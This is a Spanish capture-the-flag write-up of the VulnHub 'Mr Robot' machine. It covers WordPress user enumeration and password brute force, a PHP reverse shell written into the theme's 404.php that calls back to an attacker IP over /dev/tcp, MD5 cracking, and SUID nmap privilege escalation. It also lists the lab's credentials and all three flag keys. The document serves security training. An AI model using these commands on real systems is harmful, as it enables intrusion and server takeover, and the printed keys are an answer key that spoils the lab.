// VulnHub — CTF — Writeup

MR ROBOT

#linux #web #wordpress #bruteforce #suid
// 01

RECONOCIMIENTO — Escaneo de puertos

Lo primero es verificar la conectividad con la máquina víctima mediante un ping, y acto seguido lanzar un escaneo completo de puertos para mapear la superficie de ataque.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts
PUERTO ESTADO SERVICIO
22/tcpCLOSEDssh
80/tcpOPENhttp
443/tcpOPENhttps

SSH está cerrado, por lo que el único vector de entrada es el servicio web disponible en los puertos 80 y 443. El primer paso es explorar el sitio web manualmente.

Superficie de ataque
La máquina expone únicamente servicios HTTP/HTTPS. SSH está cerrado, lo que descarta ataques directos de fuerza bruta a nivel de sistema. Todo el compromiso inicial ocurrirá a través de la web.
// 02

ENUMERACIÓN WEB — robots.txt y Gobuster

El sitio web muestra una interfaz temática inspirada en la serie Mr. Robot, con comandos interactivos pero sin funcionalidad explotable directamente. Se procede a enumerar directorios y ficheros con Gobuster:

fuzzing de directorios
gobuster dir -u "http://<IP>/" -w <DICCIONARIO> -x php,txt,html,js

Gobuster revela una instalación de WordPress con los directorios típicos: /wp-admin, /wp-content, /wp-includes, panel de login en /wp-login.php, etc. Conociendo el CMS, se cambia a una herramienta especializada:

auditoría wordpress
wpscan -e u,ap --url http://<IP>

WPScan enumera versiones de plugins y temas, pero el hallazgo más valioso aparece revisando manualmente el fichero robots.txt, que contiene dos rutas no indexadas:

robots.txt
User-agent: * fsocity.dic key-1-of-3.txt
Información filtrada en robots.txt
El fichero robots.txt expone dos recursos sensibles: un diccionario personalizado (fsocity.dic) con 858.160 palabras, y la primera key de la máquina. Ambos son accesibles directamente desde el navegador.
KEY 1/3 073403c8a58a1f80d943455fb30724b9
// 03

WORDPRESS — Enumeración de usuarios y fuerza bruta

El panel de login de WordPress en /wp-admin revela los nombres de usuario válidos mediante mensajes de error diferenciados: si el usuario no existe devuelve "Invalid username", pero si existe y la contraseña es incorrecta devuelve "The password you entered for the username X is incorrect".

Vulnerabilidad — User Enumeration
WordPress por defecto diferencia entre "usuario inválido" y "contraseña incorrecta" en los mensajes de error del login. Esto permite enumerar usuarios válidos sin autenticación, interceptando peticiones con Burp Suite y automatizando el ataque desde el Intruder.

Se intercepta la petición POST del formulario de login con Burp Suite, se envía al Intruder y se configura el campo log (usuario) como payload. En la sección Grep — Match se añade la expresión Invalid username para identificar las respuestas donde el usuario no existe. Los resultados que no tengan ese flag son usuarios válidos.

Tras iterar con el diccionario fsocity.dic, se identifica que el usuario Elliot no devuelve el error de usuario inválido. Se lanza un segundo ataque de fuerza bruta, esta vez fijando el usuario Elliot y probando contraseñas del mismo diccionario, ahora con grep en The password you entered para detectar el acierto.

Credenciales encontradas
Usuario Elliot — Contraseña ER28-0652

Con estas credenciales se accede al panel de administración completo de WordPress.

// 04

REVERSE SHELL — Editor de temas de WordPress

Como administrador de WordPress se tiene acceso al editor de ficheros PHP del servidor. Desde Apariencia → Editor de temas, se localiza el fichero 404.php del tema activo y se reemplaza su contenido por una reverse shell en PHP:

reverse shell PHP — 404.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1'"); ?>
¿Por qué funciona esto?
WordPress permite a los administradores editar directamente el PHP de los temas desde el panel web. Al guardar el fichero modificado, el servidor ejecuta ese código la próxima vez que alguien acceda a una URL que devuelva un 404. El atacante controla el código PHP que corre en el servidor, por lo que puede lanzar cualquier comando del sistema operativo, incluida una conexión de vuelta (reverse shell) hacia su máquina.

Se pone Netcat en escucha y se accede a una URL inexistente para activar el 404:

listener en máquina atacante
nc -lvnp 4444
disparar la reverse shell
curl http://<IP>/cualquier-ruta-que-no-exista
connect to [<IP_ATACANTE>] from (UNKNOWN) [<IP_VICTIMA>] $ whoami daemon

Shell obtenida como usuario daemon. Se estabiliza con Python para tener una TTY interactiva:

estabilización de shell
python -c 'import pty; pty.spawn("/bin/bash")'
// 05

MOVIMIENTO LATERAL — Hash MD5 del usuario robot

Explorando el sistema de ficheros se localiza el directorio del usuario robot, que contiene dos ficheros de interés:

daemon@linux:/home/robot$ ls -la -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5

La segunda key solo la puede leer el propio usuario robot, pero el fichero de contraseña es legible por todos. Su contenido es un hash MD5:

robot:c3fcd3d76192e4007dfb496cca67e13b

Se usa John the Ripper con el diccionario rockyou.txt para crackear el hash:

crackeo del hash MD5
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 robot_hash
abcdefghijklmnopqrstuvwxyz (robot)
¿Por qué se puede crackear?
MD5 es un algoritmo de hash sin sal (unsalted), lo que significa que el mismo input siempre produce el mismo output. Los ataques de diccionario funcionan hasheando cada palabra del wordlist y comparando con el hash objetivo. La contraseña abcdefghijklmnopqrstuvwxyz es extremadamente débil y aparece en cualquier diccionario estándar.

Con la contraseña crackeada se cambia al usuario robot y se lee la segunda key:

cambio de usuario y key
su robot Password: abcdefghijklmnopqrstuvwxyz robot@linux:~$ cat key-2-of-3.txt
KEY 2/3 822c73956184f694993bede3eb39f959
// 06

PRIVILEGE ESCALATION — SUID en nmap

El objetivo final es escalar a root. Se buscan binarios con el bit SUID activado, lo que permite ejecutarlos con los privilegios de su propietario (generalmente root) independientemente del usuario que los invoque:

búsqueda de binarios SUID
find / -perm -4000 -ls 2>/dev/null
Binario vulnerable encontrado
/usr/local/bin/nmap tiene el bit SUID activado con propietario root. La versión instalada (3.81) incluye el modo --interactive, que permite ejecutar comandos arbitrarios de shell directamente desde nmap, heredando los privilegios de root.
¿Por qué funciona la escalada con nmap?
Versiones antiguas de nmap (anteriores a la 5.x) incluían un modo interactivo (--interactive) pensado para scripting. Este modo permite lanzar comandos de shell con el prefijo !. Al tener SUID con propietario root, nmap se ejecuta como root, y cualquier comando lanzado desde su modo interactivo hereda esos privilegios. La flag -p de bash preserva el UID efectivo, garantizando que la shell resultante sea realmente root.
explotación del SUID
robot@linux:~$ /usr/local/bin/nmap --interactive nmap> !bash -p bash-4.3# whoami root

Shell de root obtenida. La última key se encuentra en el directorio /root:

root flag
bash-4.3# cat /root/key-3-of-3.txt
KEY 3/3 04787ddef27c3dee1ee161b21670b4e4
// RESUMEN

CADENA DE ATAQUE

01
robots.txt — Información filtrada
Diccionario personalizado fsocity.dic y Key 1/3 expuestos en robots.txt sin autenticación
02
User Enumeration en WordPress
Mensajes de error diferenciados en /wp-login.php permiten confirmar usuario válido: Elliot
03
Fuerza bruta de contraseña
Ataque de diccionario con fsocity.dic vía Burp Intruder → contraseña: ER28-0652 → acceso admin a WordPress
04
RCE vía editor de temas — Reverse Shell
Modificación de 404.php del tema activo → reverse shell PHP → acceso como usuario daemon
05
Hash MD5 crackeado → usuario robot
password.raw-md5 legible por todos → John the Ripper descifra la contraseña → Key 2/3 obtenida
SUID nmap → Root
nmap --interactive con SUID root → !bash -p → shell como root → Key 3/3 en /root/key-3-of-3.txt